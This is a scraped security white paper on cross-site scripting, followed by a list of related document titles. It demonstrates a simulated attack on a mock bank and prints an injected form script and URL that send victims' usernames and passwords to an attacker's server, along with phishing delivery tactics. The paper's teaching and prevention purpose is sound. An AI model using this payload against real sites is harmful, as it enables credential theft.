Start Secure. Stay Secure. Cross-Site Scripting. Are your web applications vulnerable? By Kevin Spett
|
|
|
- Elfrieda Fitzgerald
- 9 years ago
- Views:
Transcription
1 Are your web applications vulnerable? By Kevin Spett
2 Table of Contents Introduction 1 2 HTML 2 HTTP 4 An Advanced Attack 5 Attack Procedure Summary 15 Prevention 15 Application Developer/Server Administrator 15 Solutions for Users 16 Browsers 16 Conclusion 17 The Business Case for Application Security 17 About SPI Labs 17 About SPI Dynamics 18 About the WebInspect Product Line 18 About the Author 19 Contact Information 20 ii
3 Introduction Think of how often you receive an with a hyperlink. Imagine receiving a message with a link to your online banking site exclaiming that you could win $200 as part of a promotion to use the site. If you clicked the link and logged into the site, you could have revealed your logon information to a hacker just that easily. This example illustrates an increasingly popular hacking phenomenon known as cross-site scripting. Users may unintentionally execute scripts written by an attacker when they follow links in disguised or unknown sources, either in web pages, messages, instant messages, newsgroup postings, or various other media. Because the malicious scripts use the targeted site to hide their origins, the attacker has full access to the retrieved web page and may send data contained in the page back to their own server. For example, a malicious script can read fields in a form provided by the real server, and then send this data (such as logon information) to the hacker s server. Although the security community has discussed the dangers of cross-site scripting attacks for years, the true dangers of these vulnerabilities have often been overlooked. The purpose of this paper is to educate both application developers and end users on the techniques that can be used to exploit a web application with cross-site scripting, suggest how to eliminate such vulnerabilities from web applications, and teach end users how to recognize and reduce the risk they face from a cross-site scripting attack. 1
4 Cross-site scripting (also known as XSS or CSS) occurs when dynamically generated web pages display input that is not properly validated. This allows an attacker to embed malicious JavaScript code into the generated page and execute the script on the machine of any user that views that site. Cross-site scripting could potentially impact any site that allows users to enter data. This vulnerability is commonly seen on Search engines that echo the search keyword that was entered Error messages that echo the string that contained the error Forms that are filled out where values are later presented to the user Web message boards that allow users to post their own messages. An attacker who uses cross-site scripting successfully might compromise confidential information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. Since cross-site scripting attacks are closely related to the web server package and the user s web browser, a brief overview of HTML and HTTP will be useful before discussing the mechanics of specific cross-site scripting examples. HTML HTML documents are plain text files that contain only seven-bit printable ASCII characters. To represent various elements such headers, tables, paragraphs, and lists, some special notations called tags are used. A tag contains a left angle bracket, a tag name, and a right angle bracket. Tags are usually paired (e.g., <H1> </H1>) to indicate the start and end of the tag instruction. The end tag looks just like the start tag, except a closing virgule 2
5 precedes the tag name. When a web browser opens an HTML document, it will recognize tags and apply instructions to the string in between according to the tag name. For example, when a web browser sees <html>, it starts display of the content in its browser window. When it sees </html>, it stops displaying the content. When a browser sees <script>, it starts to execute the string as a script program. When it sees </script>, it ceases the execution. The following is an example of a simple HTML document. <html> <body> <p>example of HTML document</p> <script> alert("html Document") </script> </body> </html> 3
6 Upon receipt of the document, the browser will display Example of HTML document in the browser window and open an alert message box containing HTML document. To see how this works, cut and paste the sample HTML into a text file, save it as an HTML file, and then open it in a web browser. HTTP Hyper Text Transfer Protocol (HTTP) is the set of conventions that governs how HTML documents are transmitted and received across the World Wide Web. When browsing web sites, your web browser is a client program that makes requests (for example, that a certain web page be displayed) from a web server somewhere on the Internet. An important element of HTTP is how servers handle requests from clients (remote computers connecting to the server via the World Wide Web). A session can be defined as the matched pair of a client request and a server response. HTTP is a stateless protocol; no concept of session state is maintained by HTTP when handling clientserver communications. While that sounds complicated, it is really quite simple. Each request made by a client is handled individually by a server. Multiple requests made by the same client are each treated as unique by the responding server. In other words, the server does not attempt to maintain a connection with the client at any time. This element of HTTP is one of the reasons cross-site scripting attacks can be so successful. Once a server accepts a request and dynamically generates a web page with script injected by an attacker, it is too late. The potential for damage has already been done. 4
7 An Advanced Attack Many web sites have options that allow users to enter data and then receive an updated dynamic display created according to their input. For example, a search engine site accepts requests and then displays the results of the search criteria the user entered. If a user typed asdfghjkl as the search criteria, the server may return a page telling the client that the input is invalid. This may seem harmless. But suppose the user types in <script>alert('aaa')</script> and the search engine returns Nothing is found for <script>alert('aaa')</script>. Possibly, the client s web browser will interpret the script tags and execute the alert ( aaa ) function. If so, the search engine is probably susceptible to a cross-site scripting attack. This is a common method attackers use to find vulnerable sites. To simulate an advanced cross-site scripting attack, we created an online banking site ( and a web server that could receive any information garnered during a successful attack. The attacker starts by searching a targeted web site for pages that return client-supplied data. In this example, the attacker finds that when a login attempt fails, the FreeBank web application displays the username that was entered (see Figures 1 and 2). 5
8 Figure 1: Submitting an incorrect username. 6
9 Figure 2: The failed login response. Now that the attacker knows that the page will hand back information in the login page, he must determine where to specify this value. The URL bar in Figure 2 reads: Login Invalid Login: BadLogin occurs both as an argument to the err parameter (simply an error statement reflecting that no login information exists for BadLogin), and is also included in the display text on the page itself. (Note that %20 is simply a different encoding of the space character.) 7
10 Next, the attacker tests the page to see if it is possible to inject HTML and Javascript into the web page. This is done by entering a line of script as the username. In turn, this affects the output code of the dynamically created page, changing err=invalid Login: BadLogin to err=<script>alert('xss')</script>. If the web application is indeed vulnerable, a pop-up box with the message XSS will appear (see Figures 3 and 4). Figure 3: Testing for vulnerability. 8
11 Figure 4: The cross-site scripting test is successful. Now that the attacker knows that cross-site scripting attacks are possible, he must create an attack URL that can be used to steal sensitive information. Because the HTML code of every web page is different, this URL must be custom-crafted for every unique page. To determine how to build the attack URL, the attacker must view the HTML source of the web page and adjust the attack URL accordingly. This is shown in Figure 5, with the injected script code added by the attacker highlighted. 9
12 <HTML> <HEAD> <TITLE></TITLE> </HEAD> <BODY> <TABLE BGCOLOR="#ffffff" STYLE="border: 3px solid black"> <TR> <TD STYLE="border-left: 12px solid #2E7AA3; border-top: 7px solid #2E7AA3" HEIGHT="47" ROWSPAN="2" VALIGN="TOP"><IMG SRC="/images/freebank-logo2.gif" ALIGN="LEFT" BORDER="0" WIDTH="150" HEIGHT="50"><BR><BR> </TD> <TD STYLE="border-top: 7px solid #2E7AA3" WIDTH="571" HEIGHT="47" VALIGN="TOP"> </TD> </TR> <TR> <TD WIDTH="571" VALIGN="TOP" ROWSPAN="7" HEIGHT="49"> <TABLE> <TR> <TD BGCOLOR="#2E7AA3" STYLE="border: 1px solid black" WIDTH="258" HEIGHT="217"> <FORM ACTION="login1.asp" METHOD="post"> <CENTER><script>alert( XSS')</script> <br> Username:<BR><INPUT TYPE="text" NAME="login" STYLE="border: 1px solid black; spacing: 0"> <BR>Password:<BR><INPUT TYPE="password" NAME="password" STYLE="border: 1px solid black; spacing: 0"><BR><INPUT TYPE="radio" NAME="graphicOption" VALUE="minimum" CHECKED="CHECKED"> Figure 5: The HTML source code of the vulnerable page with injected test alert. An attacker will notice several important things about this page. The first is that the injection is taking place inside the login form (the code responsible for the login box on the web page itself). The second is the names of the 10
13 login form parameters, login and password, respectively. Armed with this knowledge, the attacker will then determine what HTML and script code to inject into the page. As previously stated, cross-site scripting attacks can be in utilized in a variety of methods to accomplish differing goals. In this case, the attacker decides to steal the values of the username and password fields as the victim logs into his or her bank account. This can be done by injecting this code into the document: </form> <form action="login1.asp" method="post" onsubmit="xssimage = new Image; XSSimage.src= + document.forms(1).login.value + : + document.forms(1).password.value;"> To understand what this does, it is necessary to examine it in the context of the vulnerable page. This is the code as it appears when inserted into the vulnerable document. The injected code has been highlighted. <TABLE> <TR> <TD BGCOLOR="#2E7AA3" STYLE="border: 1px solid black" WIDTH="258" HEIGHT="217"> <FORM ACTION="login1.asp" METHOD="post"> <CENTER></form> <form action= login1.asp method= post onsubmit= 11
14 XSSimage = new Image; XSSimage.src= + document.forms(1).login.value + : + document.forms(1).password.value; > <br>username:<br><input TYPE="text" NAME="login" STYLE="border: 1px solid black; spacing: 0"><BR>Password:<BR> <INPUT TYPE="password The first part of the attack code, the </form> tag, ends the original form (the code responsible for the login box). Next, the attacker redefines the form. Note that the method and action properties (the destination of the form submission) are not changed. However, an additional property (onsubmit) is added to the form definition. The onsubmit property is a set of Javascript instructions that are executed when the user clicks the submit button of a form, just before the actual form request is sent. Here, the attacker has set the onsubmit property to the following Javascript statements: XSSimage = new Image; XSSimage.src=' + document.forms(1).login.value + ':' + document.forms(1).password.value; The first line of code creates a new image object. The second line specifies the URL of the image. The location of the image will always begin with The second part of the URL will be the values of the login and password text boxes, separated by a colon. Note that image objects do not necessarily have to be displayed. Consider images on a web page that change when the mouse is moved over them. When the page is first loaded, both the regular images and the images that will be displayed when the mouse is moved over the regular ones are loaded. That way, the web browser will not need to send out a request for a new image when the mouse moves over a hot image; the image is already there. So, when this 12
15 image object is created, which will happen whenever the victim submits the login form, a request will silently be sent to that contains the login username and password of the victim. Now that the attacker has created the exploit code, he must put it in a URL, such as this: ccess&templatename=prod_sel.forte&source=freebank&ad_referring_u RL= gin1.asp%22%20method=%22post%22%20onsubmit=%22xssimage%20=%20new %20Image;XSSimage.src=' forms(1).login.value%20%2b%20':'%20%2b%20document.forms(1).passw ord.value;%22%3e Unlike the URL used to test the page for cross-site scripting, this URL contains all of the valid arguments that are normally present in the login page s URL and has the err parameter last. Compare this with the URL bar in Figure 1. It is a simple but effective means of deception. If a victim glances at the destination URL before clicking it, everything appears normal. The URL is long enough so that the cross-site scripting attack portion will be hidden in the URL bar. Once the URL is constructed, the attacker must somehow get a victim to use it. There are many ways that this can be done. is a tried and true method of getting people to visit a link. By sending out an enormous quantity of messages, the attacker is guaranteed that at least a few people (and quite possibly many more) will fall victim. This is particularly easy if the targeted site is a large one with many customers, or if the attacker managed to get a list of addresses of actual customer. Using well-known hacker techniques, the From header of an message can be easily changed to make it look like it came from nearly anywhere. Many viruses and spam marketers use this technique regularly. Figure 6 is an example of a message that could lure people into clicking on the malicious link. 13
16 Figure 6: The attacker's containing the malicious link. After receiving the , the victim will click on the link and log in to the malicious FreeBank page. When the user clicks the Access Accounts button on the FreeBank site to login, a request will be silently sent to the attacker s server. Immediately after this malicious onsubmit code is executed, the real form submission (the action linked to the Access Accounts button) will be sent and the victim will be logged into the legitimate web application, completely unaware that his or her login credentials have been stolen. The attacker then examines the log files for and collects the stolen information. 14
17 Attack Procedure Summary An attacker sets a trap, either via or a link on a web page, by inserting malicious code into what appears to be a harmless link to a legitimate site. Once the user clicks the link, the hacker s request will be sent to a web server that has a cross-site scripting vulnerability. Code contained within the link is used to steal login information, cookies, or other pertinent data, which is then sent to the attacker s server. Prevention Creating a web site that is not vulnerable to cross-site scripting involves the efforts of application developers, server administrators, and browser manufacturers. Though effective at reducing the risk of such an attack, the suggested approaches are not complete solutions. It is best to remember that web application security must be a continually evolving process. As hackers change their methodologies, so must those who wish to implement a secure web application. Application Developer/Server Administrator For an attacker to exploit a cross-site scripting vulnerability, the victim's browser must allow some form of embedded scripting language. Therefore, cross-site scripting vulnerabilities can be reduced with proper filtration on user-supplied data. All non-alphanumeric client-supplied data should be converted to HTML character entities before being redisplayed to a client. For example, the less than character ( < ) would be converted to <. Web page developers are responsible for modifying their pages to eliminate these types of problems. Even this tremendous effort is not enough to completely erase the threat of a cross-site scripting attack. Developers can create web applications and test them with WebInspect to reduce this 15
18 monumental task. Remember, even one cross-site scripting vulnerability can compromise the security of an entire web server. Solutions for Users For end users, the most effective way to prevent cross-site scripting attacks is to disable all scripting languages in their web browsers. The downside of this is the resulting loss of functionality. Certain web sites heavily utilize scripting languages for functionality, and may not work properly if scripting languages have been disabled. Even if a user disables all scripting languages, attackers may still be able to influence the appearance of web site content by embedding other HTML tags in the URL. Disabling scripting languages does not prevent malicious use of the <FORM> tag. Secondly, users should be selective about how they initially visit a web site. Don t click links on untrusted web pages or in unsolicited s, since the links may not be what they appear to be. The easiest way to protect yourself as a user is to only follow links from the main website you wish to view. Browsers As most cross-site scripting attacks focus on browser vulnerabilities, users should especially safeguard their browsers by installing patches for their browser in a timely manner. There are other methods by which a browser can be made more secure, too. For example, in most cases, the length of string the server sends back to the client is limited. Hence, in cross-site scripting attacks, an attacker makes the server response refer to script programs located on another site. If a browser can disallow executing any script from domains other than the one it is visiting, it will effectively limit the cross-site scripting attacks. 16
19 Conclusion Web sites today are more complex than ever, containing increasing amounts of dynamic display customized for individual users. However, as shown in this paper, dynamic functionality can also lead to greater vulnerability to a cross-site scripting attack and the potential theft of confidential client information. Are you prepared? The Business Case for Application Security Whether a security breach is made public or confined internally, the fact that a hacker has accessed your sensitive data should be a huge concern to your company, your shareholders and, most importantly, your customers. SPI Dynamics has found that the majority of companies that are vigilant and proactive in their approach to application security are better protected. In the long run, these companies enjoy a higher return on investment for their e- business ventures. About SPI Labs SPI Labs is the dedicated application security research and testing team of SPI Dynamics. Composed of some of the industry s top security experts, SPI Labs is focused specifically on researching security vulnerabilities at the web application layer. The SPI Labs mission is to provide objective research to the security community and all organizations concerned with their security practices. SPI Dynamics uses direct research from SPI Labs to provide daily updates to WebInspect, the leading Web application security assessment software. SPI Labs engineers comply with the standards proposed by the Internet Engineering Task Force (IETF) for responsible security vulnerability 17
20 disclosure. SPI Labs policies and procedures for disclosure are outlined on the SPI Dynamics web site at: About SPI Dynamics SPI Dynamics, the expert in web application security assessment, provides software and services to help enterprises protect against the loss of confidential data through the web application layer. The company s flagship product line, WebInspect, assesses the security of an organization s applications and web services, the most vulnerable yet least secure IT infrastructure component. Since its inception, SPI Dynamics has focused exclusively on web application security. SPI Labs, the internal research group of SPI Dynamics, is recognized as the industry s foremost authority in this area. Software developers, quality assurance professionals, corporate security auditors and security practitioners use WebInspect products throughout the application lifecycle to identify security vulnerabilities that would otherwise go undetected by traditional measures. The security assurance provided by WebInspect helps Fortune 500 companies and organizations in regulated industries including financial services, health care and government protect their sensitive data and comply with legal mandates and regulations regarding privacy and information security. SPI Dynamics is privately held with headquarters in Atlanta, Georgia. About the WebInspect Product Line The WebInspect product line ensures the security of your entire network with intuitive, intelligent, and accurate processes that dynamically scan standard and proprietary web applications to identify known and unidentified application vulnerabilities. WebInspect products provide a new level of 18
21 protection for your critical business information. With WebInspect products, you find and correct vulnerabilities at their source, before attackers can exploit them. Whether you are an application developer, security auditor, QA professional or security consultant, WebInspect provides the tools you need to ensure the security of your web applications through a powerful combination of unique Adaptive-Agent technology and SPI Dynamics industry-leading and continuously updated vulnerability database, SecureBase. Through Adaptive-Agent technology, you can quickly and accurately assess the security of your web content, regardless of your environment. WebInspect enables users to perform security assessments for any web application, including these industry-leading application platforms: Macromedia ColdFusion Lotus Domino Oracle Application Server Macromedia JRun BEA Weblogic Jakarta Tomcat About the Author Kevin Spett is a senior research and development engineer at SPI Dynamics, where his responsibilities include analyzing web applications and discovering new ways of uncovering threats, vulnerabilities and security risks. In 19
22 addition, he is a member of the SPI Labs team, the application security research and development group within SPI Dynamics. Contact Information SPI Dynamics Telephone: (678) Perimeter Center Place Fax: (678) Suite [email protected] Atlanta, GA Web: 20
Start Secure. Stay Secure. Blind SQL Injection. Are your web applications vulnerable? By Kevin Spett
Are your web applications vulnerable? By Kevin Spett Table of Contents Introduction 1 What is? 1 Detecting Vulnerability 2 Exploiting the Vulnerability 3 Solutions 6 The Business Case for Application Security
Blind SQL Injection Are your web applications vulnerable?
Blind SQL Injection Are your web applications vulnerable? By Kevin Spett Introduction The World Wide Web has experienced remarkable growth in recent years. Businesses, individuals, and governments have
SOAP Web Services Attacks
SOAP Web Services Attacks Part 1 Introduction and Simple Injection Are your web applications vulnerable? by Sacha Faust Table of Contents Introduction... 1 Background... 1 Limitations...1 Understanding
External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION
External Vulnerability Assessment -Technical Summary- Prepared for: ABC ORGANIZATI On March 9, 2008 Prepared by: AOS Security Solutions 1 of 13 Table of Contents Executive Summary... 3 Discovered Security
Introduction. Buffer Overflow. SQL Injection. Cross-Site Scripting. Software Security I. Overview. Source: SearchsoftwareQuality.techtarget.
Overview Introduction Buffer Overflow SQL Injection Cross-Site Scripting Source: SearchsoftwareQuality.techtarget.com Introduction Some of the most common and widely exploited software vulnerabilities
SQL Injection for newbie
SQL Injection for newbie SQL injection is a security vulnerability that occurs in a database layer of an application. It is technique to inject SQL query/command as an input via web pages. Sometimes we
Web Application Security Considerations
Web Application Security Considerations Eric Peele, Kevin Gainey International Field Directors & Technology Conference 2006 May 21 24, 2006 RTI International is a trade name of Research Triangle Institute
The Top Web Application Attacks: Are you vulnerable?
QM07 The Top Web Application Attacks: Are you vulnerable? John Burroughs, CISSP Sr Security Architect, Watchfire Solutions [email protected] Agenda Current State of Web Application Security Understanding
Complete Web Application Security. Phase1-Building Web Application Security into Your Development Process
Complete Web Application Security Phase1-Building Web Application Security into Your Development Process Table of Contents Introduction 3 Thinking of security as a process 4 The Development Life Cycle
WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats
WHITE PAPER FortiWeb and the OWASP Top 10 PAGE 2 Introduction The Open Web Application Security project (OWASP) Top Ten provides a powerful awareness document for web application security. The OWASP Top
Application Security Testing. Generic Test Strategy
Application Security Testing Generic Test Strategy Page 2 of 8 Contents 1 Introduction 3 1.1 Purpose: 3 1.2 Application Security Testing: 3 2 Audience 3 3 Test Strategy guidelines 3 3.1 Authentication
HOD of Dept. of CSE & IT. Asst. Prof., Dept. Of CSE AIET, Lko, India. AIET, Lko, India
Volume 5, Issue 12, December 2015 ISSN: 2277 128X International Journal of Advanced Research in Computer Science and Software Engineering Research Paper Available online at: www.ijarcsse.com Investigation
Interaction between browser and server. HTML (Hyper Text Markup Language)
Interaction between browser and server The client/server model is a computing model that acts as a distributed application which partitions tasks or workloads between the providers of a resource or service,
Cross Site Scripting Prevention
Project Report CS 649 : Network Security Cross Site Scripting Prevention Under Guidance of Prof. Bernard Menezes Submitted By Neelamadhav (09305045) Raju Chinthala (09305056) Kiran Akipogu (09305074) Vijaya
Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com
SAINT Integrated Network Vulnerability Scanning and Penetration Testing www.saintcorporation.com Introduction While network vulnerability scanning is an important tool in proactive network security, penetration
Understanding Cross Site Scripting
Understanding Cross Site Scripting Hardik Shah Understanding cross site scripting attacks Introduction: there are many techniques which a intruder can use to compromise the webapplications. one such techniques
Check list for web developers
Check list for web developers Requirement Yes No Remarks 1. Input Validation 1.1) Have you done input validation for all the user inputs using white listing and/or sanitization? 1.2) Does the input validation
WEB ATTACKS AND COUNTERMEASURES
WEB ATTACKS AND COUNTERMEASURES February 2008 The Government of the Hong Kong Special Administrative Region The contents of this document remain the property of, and may not be reproduced in whole or in
Uploaded images filter evasion for carrying out XSS attacks
February 25, 2007 Uploaded images filter evasion for carrying out XSS attacks Digitаl Security Research Group (DSecRG) Alexander Polyakov [email protected] http://dsecrg.ru Table of contents Introduction...3
Secure Web Development Teaching Modules 1. Threat Assessment
Secure Web Development Teaching Modules 1 Threat Assessment Contents 1 Concepts... 1 1.1 Software Assurance Maturity Model... 1 1.2 Security practices for construction... 3 1.3 Web application security
SECURE APPLICATION DEVELOPMENT CODING POLICY OCIO-6013-09 TABLE OF CONTENTS
OFFICE OF THE CHIEF INFORMATION OFFICER OCIO-6013-09 Date of Issuance: May 22, 2009 Effective Date: May 22, 2009 Review Date: TABLE OF CONTENTS Section I. PURPOSE II. AUTHORITY III. SCOPE IV. DEFINITIONS
Project 2: Web Security Pitfalls
EECS 388 September 19, 2014 Intro to Computer Security Project 2: Web Security Pitfalls Project 2: Web Security Pitfalls This project is due on Thursday, October 9 at 6 p.m. and counts for 8% of your course
Recommended Practice Case Study: Cross-Site Scripting. February 2007
Recommended Practice Case Study: Cross-Site Scripting February 2007 iii ACKNOWLEDGEMENT This document was developed for the U.S. Department of Homeland Security to provide guidance for control system cyber
Client Side Filter Enhancement using Web Proxy
Client Side Filter Enhancement using Web Proxy Santosh Kumar Singh 1, Rahul Shrivastava 2 1 M Tech Scholar, Computer Technology (CSE) RCET, Bhilai (CG) India, 2 Assistant Professor, CSE Department, RCET
Intell-a-Keeper Reporting System Technical Programming Guide. Tracking your Bookings without going Nuts! http://www.acorn-is.
Intell-a-Keeper Reporting System Technical Programming Guide Tracking your Bookings without going Nuts! http://www.acorn-is.com 877-ACORN-99 Step 1: Contact Marian Talbert at Acorn Internet Services at
FINAL DoIT 11.03.2015 - v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES
Purpose: The Department of Information Technology (DoIT) is committed to developing secure applications. DoIT s System Development Methodology (SDM) and Application Development requirements ensure that
JAVASCRIPT AND COOKIES
JAVASCRIPT AND COOKIES http://www.tutorialspoint.com/javascript/javascript_cookies.htm Copyright tutorialspoint.com What are Cookies? Web Browsers and Servers use HTTP protocol to communicate and HTTP
OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair dave.wichers@owasp.
and Top 10 (2007 Update) Dave Wichers The Foundation Conferences Chair [email protected] COO, Aspect Security [email protected] Copyright 2007 - The Foundation This work is available
Advanced Web Technology 10) XSS, CSRF and SQL Injection 2
Berner Fachhochschule, Technik und Informatik Advanced Web Technology 10) XSS, CSRF and SQL Injection Dr. E. Benoist Fall Semester 2010/2011 Table of Contents Cross Site Request Forgery - CSRF Presentation
INTRUSION DECEPTION CZYLI BAW SIĘ W CIUCIUBABKĘ Z NAMI
INTRUSION DECEPTION CZYLI BAW SIĘ W CIUCIUBABKĘ Z NAMI Na przykładzie Junos WebApp Secure Edmund Asare INCONVENIENT STATISTICS 70% of ALL threats are at the Web application layer. Gartner 73% of organizations
FINAL DoIT 04.01.2013- v.8 APPLICATION SECURITY PROCEDURE
Purpose: This procedure identifies what is required to ensure the development of a secure application. Procedure: The five basic areas covered by this document include: Standards for Privacy and Security
CS 361S - Network Security and Privacy Fall 2015. Project #1
CS 361S - Network Security and Privacy Fall 2015 Project #1 Due: 12:30pm CST, October 8, 2015 Submission instructions Follow the instructions in the project description. If you are submitting late, please
Web Application Security
Web Application Security John Zaharopoulos ITS - Security 10/9/2012 1 Web App Security Trends Web 2.0 Dynamic Webpages Growth of Ajax / Client side Javascript Hardening of OSes Secure by default Auto-patching
Web application security: Testing for vulnerabilities
Web application security: Testing for vulnerabilities Using open source tools to test your site Jeff Orloff Technology Coordinator/Consultant Sequoia Media Services Inc. Skill Level: Intermediate Date:
What is Web Security? Motivation
[email protected] http://www.brucker.ch/ Information Security ETH Zürich Zürich, Switzerland Information Security Fundamentals March 23, 2004 The End Users View The Server Providers View What is Web
EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke
EVALUATING COMMERCIAL WEB APPLICATION SECURITY By Aaron Parke Outline Project background What and why? Targeted sites Testing process Burp s findings Technical talk My findings and thoughts Questions Project
HTML Forms and CONTROLS
HTML Forms and CONTROLS Web forms also called Fill-out Forms, let a user return information to a web server for some action. The processing of incoming data is handled by a script or program written in
An Insight into Cookie Security
An Insight into Cookie Security Today most websites and web based applications use cookies. Cookies are primarily used by the web server to track an authenticated user or other user specific details. This
Internet Technologies
QAFQAZ UNIVERSITY Computer Engineering Department Internet Technologies HTML Forms Dr. Abzetdin ADAMOV Chair of Computer Engineering Department [email protected] http://ce.qu.edu.az/~aadamov What are forms?
ArcGIS Server Security Threats & Best Practices 2014. David Cordes Michael Young
ArcGIS Server Security Threats & Best Practices 2014 David Cordes Michael Young Agenda Introduction Threats Best practice - ArcGIS Server settings - Infrastructure settings - Processes Summary Introduction
Advanced Tornado TWENTYONE. 21.1 Advanced Tornado. 21.2 Accessing MySQL from Python LAB
21.1 Advanced Tornado Advanced Tornado One of the main reasons we might want to use a web framework like Tornado is that they hide a lot of the boilerplate stuff that we don t really care about, like escaping
CS412 Interactive Lab Creating a Simple Web Form
CS412 Interactive Lab Creating a Simple Web Form Introduction In this laboratory, we will create a simple web form using HTML. You have seen several examples of HTML pages and forms as you have worked
BASELINE SECURITY TEST PLAN FOR EDUCATIONAL WEB AND MOBILE APPLICATIONS
BASELINE SECURITY TEST PLAN FOR EDUCATIONAL WEB AND MOBILE APPLICATIONS Published by Tony Porterfield Feb 1, 2015. Overview The intent of this test plan is to evaluate a baseline set of data security practices
Cross-Site Scripting
Cross-Site Scripting (XSS) Computer and Network Security Seminar Fabrice Bodmer ([email protected]) UNIFR - Winter Semester 2006-2007 XSS: Table of contents What is Cross-Site Scripting (XSS)? Some
SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting
SECURITY ADVISORY December 2008 Barracuda Load Balancer admin login Cross-site Scripting Discovered in December 2008 by FortConsult s Security Research Team/Jan Skovgren WARNING NOT FOR DISCLOSURE BEFORE
1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications
1. Introduction 2. Web Application 3. Components 4. Common Vulnerabilities 5. Improving security in Web applications 2 What does World Wide Web security mean? Webmasters=> confidence that their site won
When you listen to the news, you hear about many different forms of computer infection(s). The most common are:
Access to information and entertainment, credit and financial services, products from every corner of the world even to your work is greater than ever. Thanks to the Internet, you can conduct your banking,
Basic Security Considerations for Email and Web Browsing
Basic Security Considerations for Email and Web Browsing There has been a significant increase in spear phishing and other such social engineering attacks via email in the last quarter of 2015, with notable
Acunetix Website Audit. 5 November, 2014. Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build 20120808)
Acunetix Website Audit 5 November, 2014 Developer Report Generated by Acunetix WVS Reporter (v8.0 Build 20120808) Scan of http://filesbi.go.id:80/ Scan details Scan information Starttime 05/11/2014 14:44:06
Exploits: XSS, SQLI, Buffer Overflow
Exploits: XSS, SQLI, Buffer Overflow These vulnerabilities continue to result in many active exploits. XSS Cross Site Scripting, comparable to XSRF, Cross Site Request Forgery. These vulnerabilities are
Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert [email protected]
Application Security Testing Erez Metula (CISSP), Founder Application Security Expert [email protected] Agenda The most common security vulnerabilities you should test for Understanding the problems
InternetVista Web scenario documentation
InternetVista Web scenario documentation Version 1.2 1 Contents 1. Change History... 3 2. Introduction to Web Scenario... 4 3. XML scenario description... 5 3.1. General scenario structure... 5 3.2. Steps
Criteria for web application security check. Version 2015.1
Criteria for web application security check Version 2015.1 i Content Introduction... iii ISC- P- 001 ISC- P- 001.1 ISC- P- 001.2 ISC- P- 001.3 ISC- P- 001.4 ISC- P- 001.5 ISC- P- 001.6 ISC- P- 001.7 ISC-
HTML Tables. IT 3203 Introduction to Web Development
IT 3203 Introduction to Web Development Tables and Forms September 3 HTML Tables Tables are your friend: Data in rows and columns Positioning of information (But you should use style sheets for this) Slicing
Rational AppScan & Ounce Products
IBM Software Group Rational AppScan & Ounce Products Presenters Tony Sisson and Frank Sassano 2007 IBM Corporation IBM Software Group The Alarming Truth CheckFree warns 5 million customers after hack http://infosecurity.us/?p=5168
Gateway Apps - Security Summary SECURITY SUMMARY
Gateway Apps - Security Summary SECURITY SUMMARY 27/02/2015 Document Status Title Harmony Security summary Author(s) Yabing Li Version V1.0 Status draft Change Record Date Author Version Change reference
Are AJAX Applications Vulnerable to Hack Attacks?
Are AJAX Applications Vulnerable to Hack Attacks? The importance of Securing AJAX Web Applications This paper reviews AJAX technologies with specific reference to JavaScript and briefly documents the kinds
MASTERTAG DEVELOPER GUIDE
MASTERTAG DEVELOPER GUIDE TABLE OF CONTENTS 1 Introduction... 4 1.1 What is the zanox MasterTag?... 4 1.2 What is the zanox page type?... 4 2 Create a MasterTag application in the zanox Application Store...
Cross Site Scripting in Joomla Acajoom Component
Whitepaper Cross Site Scripting in Joomla Acajoom Component Vandan Joshi December 2011 TABLE OF CONTENTS Abstract... 3 Introduction... 3 A Likely Scenario... 5 The Exploit... 9 The Impact... 12 Recommended
Application security testing: Protecting your application and data
E-Book Application security testing: Protecting your application and data Application security testing is critical in ensuring your data and application is safe from security attack. This ebook offers
3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management
What is an? s Ten Most Critical Web Application Security Vulnerabilities Anthony LAI, CISSP, CISA Chapter Leader (Hong Kong) [email protected] Open Web Application Security Project http://www.owasp.org
Phishing by data URI
Phishing by data URI Henning Klevjer [email protected] October 22, 2012 1 Abstract Historically, phishing web pages have been hosted by web servers that are either compromised or owned by the attacker.
Web Application Guidelines
Web Application Guidelines Web applications have become one of the most important topics in the security field. This is for several reasons: It can be simple for anyone to create working code without security
Penetration Testing Service. By Comsec Information Security Consulting
Penetration Testing Service By Consulting February, 2007 Background The number of hacking and intrusion incidents is increasing year by year as technology rolls out. Equally, there is no hiding place your
Using Foundstone CookieDigger to Analyze Web Session Management
Using Foundstone CookieDigger to Analyze Web Session Management Foundstone Professional Services May 2005 Web Session Management Managing web sessions has become a critical component of secure coding techniques.
Penetration Test Report
Penetration Test Report Acme Test Company ACMEIT System 26 th November 2010 Executive Summary Info-Assure Ltd was engaged by Acme Test Company to perform an IT Health Check (ITHC) on the ACMEIT System
SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER
SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER XSS-BASED ABUSE OF BROWSER PASSWORD MANAGERS Ben Stock, Martin Johns, Sebastian Lekies Browser choices Full disclosure: Ben was an intern with Microsoft
Penetration Testing: Lessons from the Field
Penetration Testing: Lessons from the Field CORE SECURITY TECHNOLOGIES SCS SERVICES May 2009 1 Agenda: About me: Alberto Soliño Director of Security Consulting Services at Core Security One of first five
ITSC Training Courses Student IT Competence Programme SIIS1 Information Security
ITSC Training Courses Student IT Competence Programme SI1 2012 2013 Prof. Chan Yuen Yan, Rosanna Department of Engineering The Chinese University of Hong Kong SI1-1 Course Outline What you should know
Common Security Vulnerabilities in Online Payment Systems
Common Security Vulnerabilities in Online Payment Systems Author- Hitesh Malviya(Information Security analyst) Qualifications: C!EH, EC!SA, MCITP, CCNA, MCP Current Position: CEO at HCF Infosec Limited
WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY
